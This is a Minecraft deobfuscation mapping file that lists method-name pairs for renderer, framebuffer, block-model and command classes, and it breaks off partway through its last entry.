+MD: net/minecraft/client/renderer/RenderGlobal/spawnParticle (Lnet/minecraft/util/EnumParticleTypes;DDDDDD[I)V net/minecraft/client/renderer/RenderGlobal/func_174972_a (Lnet/minecraft/util/EnumParticleTypes;DDDDDD[I)V +MD: net/minecraft/client/renderer/RenderGlobal/playSound (Ljava/lang/String;DDDFF)V net/minecraft/client/renderer/RenderGlobal/func_72704_a (Ljava/lang/String;DDDFF)V +MD: net/minecraft/client/renderer/RenderGlobal/playRecord (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/RenderGlobal/func_174961_a (Ljava/lang/String;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/RenderGlobal/updateTileEntities (Ljava/util/Collection;Ljava/util/Collection;)V net/minecraft/client/renderer/RenderGlobal/func_181023_a (Ljava/util/Collection;Ljava/util/Collection;)V +MD: net/minecraft/client/renderer/RenderGlobal/cleanupDamagedBlocks (Ljava/util/Iterator;)V net/minecraft/client/renderer/RenderGlobal/func_174965_a (Ljava/util/Iterator;)V +MD: net/minecraft/client/renderer/RenderGlobal/onEntityAdded (Lnet/minecraft/entity/Entity;)V net/minecraft/client/renderer/RenderGlobal/func_72703_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/renderer/RenderGlobal/getViewVector (Lnet/minecraft/entity/Entity;D)Lorg/lwjgl/util/vector/Vector3f; net/minecraft/client/renderer/RenderGlobal/func_174962_a (Lnet/minecraft/entity/Entity;D)Lorg/lwjgl/util/vector/Vector3f; +MD: net/minecraft/client/renderer/RenderGlobal/setupTerrain (Lnet/minecraft/entity/Entity;DLnet/minecraft/client/renderer/culling/ICamera;IZ)V net/minecraft/client/renderer/RenderGlobal/func_174970_a (Lnet/minecraft/entity/Entity;DLnet/minecraft/client/renderer/culling/ICamera;IZ)V +MD: net/minecraft/client/renderer/RenderGlobal/renderWorldBorder (Lnet/minecraft/entity/Entity;F)V net/minecraft/client/renderer/RenderGlobal/func_180449_a (Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/renderer/RenderGlobal/renderEntities (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;F)V net/minecraft/client/renderer/RenderGlobal/func_180446_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/client/renderer/culling/ICamera;F)V +MD: net/minecraft/client/renderer/RenderGlobal/playAuxSFX (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V net/minecraft/client/renderer/RenderGlobal/func_180439_a (Lnet/minecraft/entity/player/EntityPlayer;ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/client/renderer/RenderGlobal/drawSelectionBox (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/MovingObjectPosition;IF)V net/minecraft/client/renderer/RenderGlobal/func_72731_b (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/MovingObjectPosition;IF)V +MD: net/minecraft/client/renderer/RenderGlobal/playSoundToNearExcept (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V net/minecraft/client/renderer/RenderGlobal/func_85102_a (Lnet/minecraft/entity/player/EntityPlayer;Ljava/lang/String;DDDFF)V +MD: net/minecraft/client/renderer/RenderGlobal/makeEntityOutlineShader ()V net/minecraft/client/renderer/RenderGlobal/func_174966_b ()V +MD: net/minecraft/client/renderer/RenderGlobal/renderClouds (FI)V net/minecraft/client/renderer/RenderGlobal/func_180447_b (FI)V +MD: net/minecraft/client/renderer/RenderGlobal/markBlocksForUpdate (IIIIII)V net/minecraft/client/renderer/RenderGlobal/func_72725_b (IIIIII)V +MD: net/minecraft/client/renderer/RenderGlobal/sendBlockBreakProgress (ILnet/minecraft/util/BlockPos;I)V net/minecraft/client/renderer/RenderGlobal/func_180441_b (ILnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/client/renderer/RenderGlobal/spawnEntityFX (IZDDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/renderer/RenderGlobal/func_174974_b (IZDDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/renderer/RenderGlobal/notifyLightSet (Lnet/minecraft/util/BlockPos;)V net/minecraft/client/renderer/RenderGlobal/func_174959_b (Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/client/renderer/RenderGlobal/onEntityRemoved (Lnet/minecraft/entity/Entity;)V net/minecraft/client/renderer/RenderGlobal/func_72709_b (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/renderer/RenderGlobal/renderEntityOutlineFramebuffer ()V net/minecraft/client/renderer/RenderGlobal/func_174975_c ()V +MD: net/minecraft/client/renderer/RenderGlobal/renderCloudsFancy (FI)V net/minecraft/client/renderer/RenderGlobal/func_180445_c (FI)V +MD: net/minecraft/client/renderer/RenderGlobal/getVisibleFacings (Lnet/minecraft/util/BlockPos;)Ljava/util/Set; net/minecraft/client/renderer/RenderGlobal/func_174978_c (Lnet/minecraft/util/BlockPos;)Ljava/util/Set; +MD: net/minecraft/client/renderer/RenderGlobal/isRenderEntityOutlines ()Z net/minecraft/client/renderer/RenderGlobal/func_174985_d ()Z +MD: net/minecraft/client/renderer/RenderGlobal/stopChunkUpdates ()V net/minecraft/client/renderer/RenderGlobal/func_174986_e ()V +MD: net/minecraft/client/renderer/RenderGlobal/getDebugInfoRenders ()Ljava/lang/String; net/minecraft/client/renderer/RenderGlobal/func_72735_c ()Ljava/lang/String; +MD: net/minecraft/client/renderer/RenderGlobal/getDebugInfoEntities ()Ljava/lang/String; net/minecraft/client/renderer/RenderGlobal/func_72723_d ()Ljava/lang/String; +MD: net/minecraft/client/renderer/RenderGlobal/updateClouds ()V net/minecraft/client/renderer/RenderGlobal/func_72734_e ()V +MD: net/minecraft/client/renderer/RenderGlobal/deleteAllDisplayLists ()V net/minecraft/client/renderer/RenderGlobal/func_72728_f ()V +MD: net/minecraft/client/renderer/RenderGlobal/setDisplayListEntitiesDirty ()V net/minecraft/client/renderer/RenderGlobal/func_174979_m ()V +MD: net/minecraft/client/renderer/RenderGlobal/updateDestroyBlockIcons ()V net/minecraft/client/renderer/RenderGlobal/func_174971_n ()V +MD: net/minecraft/client/renderer/RenderGlobal/generateSky2 ()V net/minecraft/client/renderer/RenderGlobal/func_174964_o ()V +MD: net/minecraft/client/renderer/RenderGlobal/generateSky ()V net/minecraft/client/renderer/RenderGlobal/func_174980_p ()V +MD: net/minecraft/client/renderer/RenderGlobal/generateStars ()V net/minecraft/client/renderer/RenderGlobal/func_174963_q ()V +MD: net/minecraft/client/renderer/RenderGlobal/renderSkyEnd ()V net/minecraft/client/renderer/RenderGlobal/func_180448_r ()V +MD: net/minecraft/client/renderer/RenderGlobal/preRenderDamagedBlocks ()V net/minecraft/client/renderer/RenderGlobal/func_180443_s ()V +MD: net/minecraft/client/renderer/RenderGlobal/postRenderDamagedBlocks ()V net/minecraft/client/renderer/RenderGlobal/func_174969_t ()V +MD: net/minecraft/client/renderer/ImageBufferDownload/skinAvailable ()V net/minecraft/client/renderer/ImageBufferDownload/func_152634_a ()V +MD: net/minecraft/client/renderer/ImageBufferDownload/setAreaTransparent (IIII)V net/minecraft/client/renderer/ImageBufferDownload/func_78434_a (IIII)V +MD: net/minecraft/client/renderer/ImageBufferDownload/parseUserSkin (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; net/minecraft/client/renderer/ImageBufferDownload/func_78432_a (Ljava/awt/image/BufferedImage;)Ljava/awt/image/BufferedImage; +MD: net/minecraft/client/renderer/ImageBufferDownload/setAreaOpaque (IIII)V net/minecraft/client/renderer/ImageBufferDownload/func_78433_b (IIII)V +MD: net/minecraft/client/renderer/ImageBufferDownload/hasTransparency (IIII)Z net/minecraft/client/renderer/ImageBufferDownload/func_78435_c (IIII)Z +MD: net/minecraft/client/renderer/RenderList/renderChunkLayer (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/RenderList/func_178001_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/shader/Framebuffer/deleteFramebuffer ()V net/minecraft/client/shader/Framebuffer/func_147608_a ()V +MD: net/minecraft/client/shader/Framebuffer/setFramebufferColor (FFFF)V net/minecraft/client/shader/Framebuffer/func_147604_a (FFFF)V +MD: net/minecraft/client/shader/Framebuffer/setFramebufferFilter (I)V net/minecraft/client/shader/Framebuffer/func_147607_a (I)V +MD: net/minecraft/client/shader/Framebuffer/createBindFramebuffer (II)V net/minecraft/client/shader/Framebuffer/func_147613_a (II)V +MD: net/minecraft/client/shader/Framebuffer/framebufferRenderExt (IIZ)V net/minecraft/client/shader/Framebuffer/func_178038_a (IIZ)V +MD: net/minecraft/client/shader/Framebuffer/bindFramebuffer (Z)V net/minecraft/client/shader/Framebuffer/func_147610_a (Z)V +MD: net/minecraft/client/shader/Framebuffer/checkFramebufferComplete ()V net/minecraft/client/shader/Framebuffer/func_147611_b ()V +MD: net/minecraft/client/shader/Framebuffer/createFramebuffer (II)V net/minecraft/client/shader/Framebuffer/func_147605_b (II)V +MD: net/minecraft/client/shader/Framebuffer/bindFramebufferTexture ()V net/minecraft/client/shader/Framebuffer/func_147612_c ()V +MD: net/minecraft/client/shader/Framebuffer/framebufferRender (II)V net/minecraft/client/shader/Framebuffer/func_147615_c (II)V +MD: net/minecraft/client/shader/Framebuffer/unbindFramebufferTexture ()V net/minecraft/client/shader/Framebuffer/func_147606_d ()V +MD: net/minecraft/client/shader/Framebuffer/unbindFramebuffer ()V net/minecraft/client/shader/Framebuffer/func_147609_e ()V +MD: net/minecraft/client/shader/Framebuffer/framebufferClear ()V net/minecraft/client/shader/Framebuffer/func_147614_f ()V +MD: net/minecraft/client/renderer/Tessellator/getInstance ()Lnet/minecraft/client/renderer/Tessellator; net/minecraft/client/renderer/Tessellator/func_178181_a ()Lnet/minecraft/client/renderer/Tessellator; +MD: net/minecraft/client/renderer/Tessellator/draw ()V net/minecraft/client/renderer/Tessellator/func_78381_a ()V +MD: net/minecraft/client/renderer/Tessellator/getWorldRenderer ()Lnet/minecraft/client/renderer/WorldRenderer; net/minecraft/client/renderer/Tessellator/func_178180_c ()Lnet/minecraft/client/renderer/WorldRenderer; +MD: net/minecraft/client/renderer/VboRenderList/setupArrayPointers ()V net/minecraft/client/renderer/VboRenderList/func_178010_a ()V +MD: net/minecraft/client/renderer/VboRenderList/renderChunkLayer (Lnet/minecraft/util/EnumWorldBlockLayer;)V net/minecraft/client/renderer/VboRenderList/func_178001_a (Lnet/minecraft/util/EnumWorldBlockLayer;)V +MD: net/minecraft/client/renderer/VertexBufferUploader/draw (Lnet/minecraft/client/renderer/WorldRenderer;)V net/minecraft/client/renderer/VertexBufferUploader/func_181679_a (Lnet/minecraft/client/renderer/WorldRenderer;)V +MD: net/minecraft/client/renderer/VertexBufferUploader/setVertexBuffer (Lnet/minecraft/client/renderer/vertex/VertexBuffer;)V net/minecraft/client/renderer/VertexBufferUploader/func_178178_a (Lnet/minecraft/client/renderer/vertex/VertexBuffer;)V +MD: net/minecraft/command/CommandSetPlayerTimeout/getRequiredPermissionLevel ()I net/minecraft/command/CommandSetPlayerTimeout/func_82362_a ()I +MD: net/minecraft/command/CommandSetPlayerTimeout/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandSetPlayerTimeout/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandSetPlayerTimeout/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandSetPlayerTimeout/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandSetPlayerTimeout/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandSetPlayerTimeout/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/renderer/ViewFrustum/deleteGlResources ()V net/minecraft/client/renderer/ViewFrustum/func_178160_a ()V +MD: net/minecraft/client/renderer/ViewFrustum/updateChunkPositions (DD)V net/minecraft/client/renderer/ViewFrustum/func_178163_a (DD)V +MD: net/minecraft/client/renderer/ViewFrustum/setCountChunksXYZ (I)V net/minecraft/client/renderer/ViewFrustum/func_178159_a (I)V +MD: net/minecraft/client/renderer/ViewFrustum/func_178157_a (III)I net/minecraft/client/renderer/ViewFrustum/func_178157_a (III)I +MD: net/minecraft/client/renderer/ViewFrustum/markBlocksForUpdate (IIIIII)V net/minecraft/client/renderer/ViewFrustum/func_178162_a (IIIIII)V +MD: net/minecraft/client/renderer/ViewFrustum/createRenderChunks (Lnet/minecraft/client/renderer/chunk/IRenderChunkFactory;)V net/minecraft/client/renderer/ViewFrustum/func_178158_a (Lnet/minecraft/client/renderer/chunk/IRenderChunkFactory;)V +MD: net/minecraft/client/renderer/ViewFrustum/getRenderChunk (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/renderer/chunk/RenderChunk; net/minecraft/client/renderer/ViewFrustum/func_178161_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/renderer/chunk/RenderChunk; +MD: net/minecraft/client/renderer/ChestRenderer/renderChestBrightness (Lnet/minecraft/block/Block;F)V net/minecraft/client/renderer/ChestRenderer/func_178175_a (Lnet/minecraft/block/Block;F)V +MD: net/minecraft/client/renderer/BlockModelShapes$1/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$1/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$2/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$2/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$3/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$3/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$4/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$4/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$5/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$5/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$6/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$6/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes$7/getModelResourceLocation (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; net/minecraft/client/renderer/BlockModelShapes$7/func_178132_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/ModelResourceLocation; +MD: net/minecraft/client/renderer/BlockModelShapes/getBlockStateMapper ()Lnet/minecraft/client/renderer/block/statemap/BlockStateMapper; net/minecraft/client/renderer/BlockModelShapes/func_178120_a ()Lnet/minecraft/client/renderer/block/statemap/BlockStateMapper; +MD: net/minecraft/client/renderer/BlockModelShapes/registerBlockWithStateMapper (Lnet/minecraft/block/Block;Lnet/minecraft/client/renderer/block/statemap/IStateMapper;)V net/minecraft/client/renderer/BlockModelShapes/func_178121_a (Lnet/minecraft/block/Block;Lnet/minecraft/client/renderer/block/statemap/IStateMapper;)V +MD: net/minecraft/client/renderer/BlockModelShapes/getTexture (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/renderer/BlockModelShapes/func_178122_a (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/renderer/BlockModelShapes/registerBuiltInBlocks ([Lnet/minecraft/block/Block;)V net/minecraft/client/renderer/BlockModelShapes/func_178123_a ([Lnet/minecraft/block/Block;)V +MD: net/minecraft/client/renderer/BlockModelShapes/getModelManager ()Lnet/minecraft/client/resources/model/ModelManager; net/minecraft/client/renderer/BlockModelShapes/func_178126_b ()Lnet/minecraft/client/resources/model/ModelManager; +MD: net/minecraft/client/renderer/BlockModelShapes/getModelForState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/renderer/BlockModelShapes/func_178125_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/renderer/BlockModelShapes/reloadModels ()V net/minecraft/client/renderer/BlockModelShapes/func_178124_c ()V +MD: net/minecraft/client/renderer/BlockModelShapes/registerAllBlocks ()V net/minecraft/client/renderer/BlockModelShapes/func_178119_d ()V +MD: net/minecraft/client/renderer/BlockRendererDispatcher/getBlockModelShapes ()Lnet/minecraft/client/renderer/BlockModelShapes; net/minecraft/client/renderer/BlockRendererDispatcher/func_175023_a ()Lnet/minecraft/client/renderer/BlockModelShapes; +MD: net/minecraft/client/renderer/BlockRendererDispatcher/isRenderTypeChest (Lnet/minecraft/block/Block;I)Z net/minecraft/client/renderer/BlockRendererDispatcher/func_175021_a (Lnet/minecraft/block/Block;I)Z +MD: net/minecraft/client/renderer/BlockRendererDispatcher/renderBlockBrightness (Lnet/minecraft/block/state/IBlockState;F)V net/minecraft/client/renderer/BlockRendererDispatcher/func_175016_a (Lnet/minecraft/block/state/IBlockState;F)V +MD: net/minecraft/client/renderer/BlockRendererDispatcher/getModelFromBlockState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/renderer/BlockRendererDispatcher/func_175022_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/renderer/BlockRendererDispatcher/getBakedModel (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/renderer/BlockRendererDispatcher/func_175017_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/renderer/BlockRendererDispatcher/renderBlock (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/renderer/WorldRenderer;)Z net/minecraft/client/renderer/BlockRendererDispatcher/func_175018_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/renderer/WorldRenderer;)Z +MD: net/minecraft/client/renderer/BlockRendererDispatcher/renderBlockDamage (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/world/IBlockAccess;)V net/minecraft/client/renderer/BlockRendererDispatcher/func_175020_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/world/IBlockAccess;)V +MD: net/minecraft/client/renderer/BlockRendererDispatcher/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/renderer/BlockRendererDispatcher/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/renderer/BlockRendererDispatcher/getBlockModelRenderer ()Lnet/minecraft/client/renderer/BlockModelRenderer; net/minecraft/client/renderer/BlockRendererDispatcher/func_175019_b ()Lnet/minecraft/client/renderer/BlockModelRenderer; +MD: net/minecraft/client/renderer/BlockFluidRenderer/initAtlasSprites ()V net/minecraft/client/renderer/BlockFluidRenderer/func_178268_a ()V +MD: net/minecraft/client/renderer/BlockFluidRenderer/renderFluid (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;)Z net/minecraft/client/renderer/BlockFluidRenderer/func_178270_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;)Z +MD: net/minecraft/client/renderer/BlockFluidRenderer/getFluidHeight (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/material/Material;)F net/minecraft/client/renderer/BlockFluidRenderer/func_178269_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/material/Material;)F +MD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/getNeighbourInfo (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo; net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/func_178273_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo; +MD: net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo; net/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$EnumNeighborInfo; +MD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/getAoBrightness (IIII)I net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/func_147778_a (IIII)I +MD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/getVertexBrightness (IIIIFFFF)I net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/func_178203_a (IIIIFFFF)I +MD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/updateVertexBrightness (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;[FLjava/util/BitSet;)V net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/func_178204_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;[FLjava/util/BitSet;)V +MD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/access$000 (Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)[I net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/access$000 (Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)[I +MD: net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/access$100 (Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)[F net/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace/access$100 (Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)[F +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$200 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$200 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/getVertexTranslations (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations; net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/func_178184_a (Lnet/minecraft/util/EnumFacing;)Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations; +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$300 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$300 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$400 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$400 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$500 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/access$500 (Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations;)I +MD: net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations; net/minecraft/client/renderer/BlockModelRenderer$VertexTranslations/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$VertexTranslations; +MD: net/minecraft/client/renderer/BlockModelRenderer$Orientation/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$Orientation; net/minecraft/client/renderer/BlockModelRenderer$Orientation/values ()[Lnet/minecraft/client/renderer/BlockModelRenderer$Orientation; +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelBrightnessColorQuads (FFFFLjava/util/List;)V net/minecraft/client/renderer/BlockModelRenderer/func_178264_a (FFFFLjava/util/List;)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelAmbientOcclusionQuads (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;[FLjava/util/BitSet;Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)V net/minecraft/client/renderer/BlockModelRenderer/func_178263_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;[FLjava/util/BitSet;Lnet/minecraft/client/renderer/BlockModelRenderer$AmbientOcclusionFace;)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelStandardQuads (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;IZLnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;Ljava/util/BitSet;)V net/minecraft/client/renderer/BlockModelRenderer/func_178260_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;IZLnet/minecraft/client/renderer/WorldRenderer;Ljava/util/List;Ljava/util/BitSet;)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelAmbientOcclusion (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z net/minecraft/client/renderer/BlockModelRenderer/func_178265_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModel (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;)Z net/minecraft/client/renderer/BlockModelRenderer/func_178259_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;)Z +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModel (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z net/minecraft/client/renderer/BlockModelRenderer/func_178267_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z +MD: net/minecraft/client/renderer/BlockModelRenderer/fillQuadBounds (Lnet/minecraft/block/Block;[ILnet/minecraft/util/EnumFacing;[FLjava/util/BitSet;)V net/minecraft/client/renderer/BlockModelRenderer/func_178261_a (Lnet/minecraft/block/Block;[ILnet/minecraft/util/EnumFacing;[FLjava/util/BitSet;)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelBrightnessColor (Lnet/minecraft/client/resources/model/IBakedModel;FFFF)V net/minecraft/client/renderer/BlockModelRenderer/func_178262_a (Lnet/minecraft/client/resources/model/IBakedModel;FFFF)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelBrightness 